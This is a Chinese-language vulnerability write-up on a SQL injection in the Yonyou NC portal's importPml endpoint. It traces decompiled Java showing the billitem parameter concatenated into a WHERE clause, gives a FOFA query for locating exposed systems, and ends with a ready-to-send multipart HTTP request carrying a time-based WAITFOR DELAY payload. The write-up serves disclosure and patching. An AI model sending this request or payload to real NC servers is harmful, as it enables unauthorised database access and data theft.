用友NC portalpage/importPml sql注入漏洞


漏洞简介

用友NC系统可利用 /portal/pt/portalpage/importPml接口中的 billitem 参数实现sql注入,从而窃取服务器的敏感信息。

影响版本

NC63、NC633、NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

先看官方漏洞通告

因此搜索 importPml 方法的实现部分即可定位文件

nc/uap/portal/action/PortalPageManagerAction.class

package nc.uap.portal.action;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import nc.uap.lfw.core.AppInteractionUtil;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.login.vo.LfwSessionBean;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Param;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.constant.PortalEnv;
import nc.uap.portal.exception.PortalServiceException;
import nc.uap.portal.log.PortalLogger;
import nc.uap.portal.om.Page;
import nc.uap.portal.service.PortalServiceUtil;
import nc.uap.portal.service.itf.IPtPageQryService;
import nc.uap.portal.util.PmlUtil;
import nc.uap.portal.util.PortalPageDataWrap;
import nc.uap.portal.util.PtUtil;
import nc.uap.portal.vo.PtPageVO;
import nc.vo.ml.NCLangRes4VoTransl;
import nc.vo.pub.BusinessException;
import nc.vo.pub.lang.UFBoolean;
import org.apache.commons.collections.MapUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.ArrayUtils;
import org.apache.commons.lang.StringUtils;
import org.springframework.web.multipart.MultipartException;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import org.springframework.web.multipart.MultipartResolver;
import org.springframework.web.multipart.commons.CommonsMultipartResolver;
import org.xml.sax.SAXException;
import uap.lfw.core.ml.LfwResBundle;
import uap.portal.cache.PageCacheHelper;

@Servlet(
    path = "/portalpage"
)
public class PortalPageManagerAction extends BaseAction {
    private static MultipartResolver multipartResolver = new CommonsMultipartResolver();

    public PortalPageManagerAction() {
    }

public void importPml() throws IOException {
    MultipartHttpServletRequest req = getMultipartResolver(this.request);
    Map<String, MultipartFile> fileMap = req.getFileMap();
    List<MultipartFile> files = new ArrayList();
    String billitem = req.getParameter("billitem");
    if ("null".equals(billitem)) {
        billitem = "";
    }

    if (MapUtils.isNotEmpty(fileMap)) {
        files.addAll(fileMap.values());
    }

    String name = ((MultipartFile)files.get(0)).getOriginalFilename();
    name = name.replace(".pml", "");
    InputStream in = ((MultipartFile)files.get(0)).getInputStream();

    try {
        Page page = PmlUtil.parser(IOUtils.toString(in, "UTF-8"));
        page.setPagename(name);
        PtPageVO vo = this.pml2vo(page, billitem);
        StringBuffer where = new StringBuffer(" pagename='");
        where.append(name).append("' and module='").append(vo.getModule());
        if (StringUtils.isNotBlank(billitem)) {
            where.append("' and pk_group='").append(billitem).append("' ");
        } else {
            where.append("' and ( pk_group='~' or pk_group='' ) ");
        }

        PtPageVO[] pages = PortalServiceUtil.getPageQryService().getPagesByCondition(where.toString());
        if (pages != null && pages.length > 0) {
            this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000001"));
            return;
        }

        String pageId = vo.getPagename();
        if (StringUtils.isNumeric(pageId.substring(0, 1))) {
            this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-0000011"));
            return;
        }

        Pattern p = Pattern.compile("^[a-zA-Z\\d]+$");
        Matcher matcher = p.matcher(pageId);
        if (!matcher.matches()) {
            this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-0000012"));
            return;
        }

        vo.setUndercontrol(UFBoolean.TRUE);
        PortalServiceUtil.getPageService().add(vo);
        this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000002") + name + NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000003") + LfwResBundle.getInstance().getStrByID("pmng", "PortalPageManagerAction-000008"));
    } catch (Exception e) {
        if (e instanceof SAXException) {
            this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000004"));
            return;
        }

        this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pmng", "PortalPageManagerAction-000005"));
    }

    PageCacheHelper.updatePageCache();
}

需要注意:请求体需要是文件上传格式

billitem 直接拼接进 where 语句中,然后代入 PortalServiceUtil.getPageQryService().getPagesByCondition 其实现逻辑如下

public PtPageVO[] getPagesByCondition(String condition) throws PortalServiceException {
        PtBaseDAO dao = new PtBaseDAO();

        try {
            List<PtPageVO> vos = (List)dao.retrieveByClause(PtPageVO.class, condition);
            if (vos != null && vos.size() > 0) {
                return (PtPageVO[])vos.toArray(new PtPageVO[0]);
            }
        } catch (DAOException e) {
            PortalLogger.error(e.getMessage(), e);
        }

        return null;
    }

将 where 语句即 condition 又代入 dao.retrieveByClause 中,其实现逻辑如下

public Collection retrieveByClause(Class className, String condition) throws DAOException {
    PersistenceManager manager = null;
    Collection values = null;

    try {
        manager = this.createPersistenceManager(this.dataSource);
        values = manager.retrieveByClause(className, condition);
    } catch (DbException e) {
        Logger.error(e.getMessage(), e);
        throw new DAOException(e.getMessage());
    } finally {
        if (manager != null) {
            manager.release();
        }

    }

    return values;
}

将 condition 代入 createPersistenceManager.retrieveByClause 中,其实现逻辑如下

public Collection retrieveByClause(Class className, String condition, String[] fields, SQLParameter parameters) throws DbException {
        BaseProcessor processor = new BeanListProcessor(className);
        return (Collection)this.session.executeQuery(this.buildSql(className, condition, fields), parameters, processor);
    }

通过 buildSql 组合 where 语句 其代码实现逻辑如下

private String buildSql(Class className, String condition, String[] fields) {
    SuperVO vo = (SuperVO)this.InitClass(className);
    String pkName = vo.getPKFieldName();
    boolean hasPKField = false;
    StringBuffer buffer = new StringBuffer();
    String tableName = vo.getTableName();
    if (fields == null) {
        buffer.append("SELECT * FROM ").append(tableName);
    } else {
        buffer.append("SELECT ");

        for(int i = 0; i < fields.length; ++i) {
            if (fields[i] != null) {
                buffer.append(fields[i]).append(",");
                if (fields[i].equalsIgnoreCase(pkName)) {
                    hasPKField = true;
                }
            }
        }

        if (!hasPKField) {
            buffer.append(pkName).append(",");
        }

        buffer.setLength(buffer.length() - 1);
        buffer.append(" FROM ").append(tableName);
    }

    if (condition != null && condition.length() != 0) {
        if (condition.toUpperCase().trim().startsWith("ORDER ")) {
            buffer.append(" ").append(condition);
        } else {
            buffer.append(" WHERE ").append(condition);
        }
    }

    return buffer.toString();
}

最终直接调用 session.executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。

漏洞复现

漏洞利用需要注意只能是文件上传格式,需要注意,可参考上面的漏洞分析部分。

POST /portal/pt/portalpage/importPml?pageId=login&billitem=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: nc.mrxn.net
Content-Type: multipart/form-data; boundary=----123456

------123456
Content-Disposition: form-data; name="Filedata"; filename="yuantu.jpg"
Content-Type: image/jpeg

<?xml version="1.0" encoding="UTF-8"?>
<page template="adminonerow" version="101"  i18nname="admin-00001"  visibility="0"  isdefault="true" skin="webclassic" level="0"  linkgroup="0000z010000000000002"  ordernum="15">
    <title>系统管理</title>
    <layout id="l1" name="simpleLayout" sizes="100%">
        <layout id="l2" name="paddingLayout" sizes="100%">
            <portlet id="p3" name="pserver:NavigationPortlet" theme="clean" i18nname="admin-00002" title="导航条" column="0" />
            <portlet id="p2" name="AdminMgrContentPortlet" theme="defaultround" i18nname="admin-00003"  title="管理内容" column="0" />
        </layout>
        <layout id="l3" name="simpleLayout" sizes="100%">
            <portlet id="p4" name="pserver:CopyRightPortlet" theme="clean" i18nname="admin-00004"  title="版权" column="0" />
        </layout>
    </layout>
</page>
------123456--

参考

  • https://security.yonyou.com/#/noticeInfo?id=524

手机扫码阅读

锐捷-EWEB timeout.php 文件上传漏洞

锐捷-EWEB timeout.php 文件读取漏洞

评 论